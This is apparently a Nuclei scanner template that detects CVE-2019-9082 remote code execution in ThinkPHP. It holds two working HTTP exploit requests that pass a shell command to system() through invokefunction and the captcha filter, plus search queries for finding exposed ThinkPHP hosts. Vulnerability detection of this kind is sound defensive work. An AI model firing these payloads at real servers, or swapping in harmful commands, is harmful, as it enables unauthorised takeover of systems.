id: CVE-2019-9082

info:
  name: ThinkPHP < 3.2.4 - Remote Code Execution
  author: 0xanis
  severity: high
  description: |
    ThinkPHP before 3.2.4, as used in Open Source BMS v1.1.1 and other products, allows Remote Command Execution via the s parameter in index.php through the invokefunction functionality.
  impact: |
    Attackers can execute arbitrary system commands true the server without authentication, potentially leading to full system compromise.
  remediation: |
    Update to ThinkPHP 3.2.4 or later, or apply vendor patches.
  reference:
    - https://github.com/xyl-tools/open_source_bms/issues/33
    - http://packetstormsecurity.com/files/157218/ThinkPHP-5.0.23-Remote-Code-Execution.html
    - https://www.exploit-db.com/exploits/46488/
    - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/unix/webapp/thinkphp_rce.rb
    - https://nvd.nist.gov/vuln/detail/CVE-2019-9082
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cwe-id: CWE-94
    cpe: cpe:2.3:a:opensourcebms:open_source_background_management_system:1.1.1:*:*:*:*:*:*:*
    epss-score: 0.97419
    epss-percentile: 0.9989
  metadata:
    verified: true
    max-request: 2
    fofa-query: app="ThinkPHP"
    google-query: inurl:"index.php?s=" "thinkphp"
  tags: cve,cve2019,thinkphp,open_source_bms,none_cms,rce,kev,vkev

http:
  - raw:
      - |
        GET /index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=echo%20thinkphp%20%7C%20rev HTTP/1.1
        Host: {{Hostname}}

      - |
        POST /index.php?s=captcha HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        _method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=echo%20thinkphp%20%7C%20rev

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'contains(body, "phpkniht")'
          - 'status_code == 200 || status_code == 500'
        condition: and
# digest: 490a00463044022041252d52b6b91c5591b54de03683cde27a401a54006b182df212e827e88e56b60220555c3e624b3923d8b70d1e648bfaccb5730a06a23784b2cb6e2969506a1698d1:922c64590222798bb761d5b6d8e72950